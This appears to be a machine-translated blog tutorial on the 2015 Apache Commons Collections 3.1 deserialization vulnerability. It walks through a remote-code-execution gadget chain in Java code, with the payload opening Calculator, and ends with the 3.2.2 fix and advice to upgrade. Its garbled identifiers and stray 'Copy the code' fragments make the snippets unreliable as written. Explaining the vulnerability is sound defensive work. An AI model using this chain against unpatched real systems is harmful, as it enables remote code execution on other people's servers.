If you work for a long time, you will gradually have a feeling that the code is written by people, and there may be bugs in the code written by people. This is always inevitable, and no great programmer can write completely bug-free code!

In fact, serialization security issues have occurred in both Java’s native serialization technology and many other open source serialization tools.

Serialization security is always a big topic, and I’m not going to argue for Fastjson, but it’s a little irresponsible to write bad code when something goes wrong.

The Apache-Commons-Collections framework, which is familiar to every Java programmer, is a well-known open source framework.

However, it has also been exposed as a serialization security vulnerability that, like Fastjson, allows commands to be executed remotely.

background

Apache Commons is a project of the Apache Software Foundation. Commons aims to provide reusable, open source Java code that solves a variety of practical, common problems.

The Commons Collections package provides a nice complement to Java’s standard Collections API. On this basis, the common data structure operation is well encapsulated, abstracted and supplemented. This allows us to ensure performance while greatly simplifying the code as we develop our applications.

The latest version of Commons Collections is 4.4, but the most widely used version is 3.x. In fact, in 3.2.1 below, there is a relatively large security hole that can be exploited for remote command execution.

The bug was first revealed in 2015, but the industry has been calling it “the most underrated bug of 2015.”

Because the library was so widely used, first of all Java Web Server, the vulnerability swept the latest versions of WebLogic, WebSphere, JBoss, Jenkins, and OpenNMS at the time.

After that, Gabriel Lawrence and Chris Frohoff proposed how to use Apache in Marshalling Pickles How Deserializing Objects Can Ruin Your Day Commons Collection enables arbitrary code execution.

Problem of repetition

This problem occurs mainly in Apache Commons Collections versions below 3.2.1. This time, version 3.1 was used for testing, and the JDK version was Java 8.

Use Transformer attack

The Commons Collections provide a Transformer interface primarily for type conversions, and an implementation class of this interface is related to the vulnerability we will cover today, InvokerTransformer.

InvokerTransformer provides a Transform method with just three lines of core code that instantiates the incoming object through reflection and then executes its iMethodName method.


The iMethodName and the iArgs parameter are instantiated by the InvokerTransformer class. The constructor for this class is as follows:

That is, with this class, you can theoretically execute any method. We can then use this class to execute external commands in Java.

We know that to execute external commands in Java, we need to use runtime.geTruntime ().exec(CMD), so we found a way to implement this functionality through the above utility class.

First, the InvokerTransformer constructor sets up the methods and parameters we want to execute:

Transformer transformer = new InvokerTransformer("exec",

        new Class[] {String.class},

        new Object[] {"open /Applications/Calculator.app"});Copy the code

Through the constructor, we set method, called the exec, execute the command to open/Applications/Calculator app, namely open the Calculator above the MAC (under Windows command: C: \ \ Windows \ \ System32 \ \ calc exe).

The Runtime class is then instantiated with InvokerTransformer:

transformer.transform(Runtime.getRuntime());Copy the code

After running the program, an external command is executed to open the computer program on the computer:

So far, we know that we can use InvokerTransformer to call external commands. Is it necessary to serialize a custom InvokerTransformer into a string and then deserialize it? The interface implements remote command execution:

The attack is implemented by serializing the Transformer object into a file, reading it out of the file, and executing its transform method.

You think this is the end?

But if it were that simple, the bug would have been discovered long ago. There are a few things you need to do to actually implement the attack.

Because, newTransformer. Transform (Runtime. GetRuntime ()); That’s the kind of code that nobody would actually write in code.

Is it possible to execute external commands without this line of code?

Another tool available in the Commons collection is ChainedTransformer, which is an implementation class of Transformer.

The ChainedTransformer class provides a transform method, whose function iterates through its itranspan array and then calls its transform method in turn, returning an object each time, which can be used as a parameter in the next call.

Transformer.transform (runtime.getruntime ()); Same function:

Transformer[] transformers = new Transformer[] {// Use the built-in ConstantTransformer to get the Runtime class new ConstantTransformer(Runtime.class), // reflection calls getMethod, and reflection calls getRuntime. Return runtime.getruntime () method new InvokerTransformer("getMethod",

        new Class[] {String.class, Class[].class },

        new Object[] {"getRuntime", new Class[0]}), // Reflection invokes the invoke method, and reflection executes runtime.geTrunTime (), which returns the Runtime instantiation object new InvokerTransformer("invoke", new Class[] {object.class, Object[]. Class}, New Object[] {null, new Object[0]}), // reflection callexecMethods new InvokerTransformer ("exec",

        new Class[] {String.class },

        new Object[] {"open /Applications/Calculator.app"})}; Transformer transformerChain = new ChainedTransformer(transformers);Copy the code

After obtaining a transformerChain, you can call the transformerChain method, passing in any arguments, and then open the local calculator:

Newtransformer.transform (runtime.getruntime ()) is no longer required; Transformer.transform (), regardless of the arguments:

Attackers will not be satisfied

However, no programmer would normally write such code in code.

Then, the attack method needs to go one step further, truly do not need programmer cooperation.

As a result, the attackers discovered that a LazyMap class was provided in Commons Collections, and that the get of the class called the transform method. (Commons Collections really know what hackers think.)

So, the attack direction is to find a way to call the LazyMap get method and set the factory in it to our serialized object.

In Commons Collections, the getValue method of the TiedMapEntry class calls the Get method of LazyMap, and the getValue of the TiedMapEntry class is called by the toString() method.

public String toString() {

    return getKey() + "=" + getValue();

}



public Object getValue() {

    return map.get(key);

}Copy the code

So, the threshold of attack is lower now, as long as we construct a TiedMapEntry and serialize it, so that whenever someone takes this serialized object and calls its toString method, the bug will be triggered automatically.

Transformer transformerChain = new ChainedTransformer(transformers);



Map innerMap = new HashMap();

Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");Copy the code

We know that toString will be called implicitly at many times, such as on output (system.out.println (ois.readobject ());) , the code example is as follows:

Now, the hacker simply uploads the serialized contents of his constructed TiedMapEntry to the application, which will be attacked if toString is called after deserialization.

As soon as you deserialize, you’re attacked

So, is there any way that code can be attacked just by deserializing what we’ve prepared?

It was discovered, as long as the following conditions were met:

The readObject of a class calls the LazyMap or TiedMapEntry methods mentioned above. When Java deserializes, it calls the object’s readObject method.

Through in-depth digging, hackers found BadAttributeValueExpException, AnnotationInvocationHandler class, etc. BadAttributeValueExpException example here

BadAttributeValueExpException class is to provide an exception class in Java, his readObject methods directly call the toString method:

The attacker just needs to find a way to assign the TiedMapEntry object to valObj in the code.

By reading the source code, we found that as long as give BadAttributeValueExpException class member variable val set into a TiedMapEntry types of objects.

This is simple and can be done by reflection:

Transformer transformerChain = new ChainedTransformer(transformers);



Map innerMap = new HashMap();

Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "key"); BadAttributeValueExpException poc = new BadAttributeValueExpException(null); Field valfield = poc.getClass().getDeclaredField()"val");

valfield.setAccessible(true);

valfield.set(poc, entry);Copy the code

So, at that time, attack is very simple, only need to put the BadAttributeValueExpException object serialization into a string, as long as the content of the string be deserialized, you will be attacked.

Problem solving

Above, we have recreated a remote code execution vulnerability associated with deserialization introduced by the Apache Commons Collections class library.

Through the analysis of this vulnerability, we can find that as long as there is a place where the code is not carefully written, it may be exploited by attackers.

Since the vulnerability was so extensive, it was fixed as soon as it was exposed, and developers simply need to update the Apache Commons Collections library to version 3.2.2 to avoid the vulnerability.

Version 3.2.2 added a switch to serialization support for some insecure Java classes, which is turned off by default. The classes involved include

CloneTransformer

ForClosure

InstantiateFactory

InstantiateTransformer

InvokerTransformer

PrototypeCloneFactory

PrototypeSerializationFactory,

WhileClosureCopy the code

For example, in the InvokerTransformer class, we implement our own writeObject() and readObject() methods related to serialization:

In the two methods, the relevant verification of serialization security is carried out. The verification code is as follows:

During serialization and deserialization, will check for some unsafe class serialization support is disabled, if is disabled, then it will throw an UnsupportedOperationException, Through org.apache.com mons. Collections. EnableUnsafeSerialization set the switch of this feature.

When you upgrade Apache Commons Collections to 3.2.2 and execute the sample code in this article, you will get the following error:

Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true'. but you must ensure that your application does not de-serialize objects from untrusted sources. at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183) at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)Copy the code

The latter

This article describes a deserialization vulnerability in historical versions of Apache Commons Collections.

If you read this article and think:

1, the code is written by people, there are bugs are understandable

2, the common base class library, must focus on security issues

3, when using public libraries, always pay attention to their security situation, once a vulnerability is exposed, to upgrade immediately

The security field is bottomless, attackers can always pull the strings, a little bug may be used

References:

https://commons.apache.org/proper/commons-collections/release_3_2_2.html

https://p0sec.net/index.php/archives/121/

https://www.freebuf.com/vuls/175252.html

https://kingx.me/commons-collections-java-deserialization.html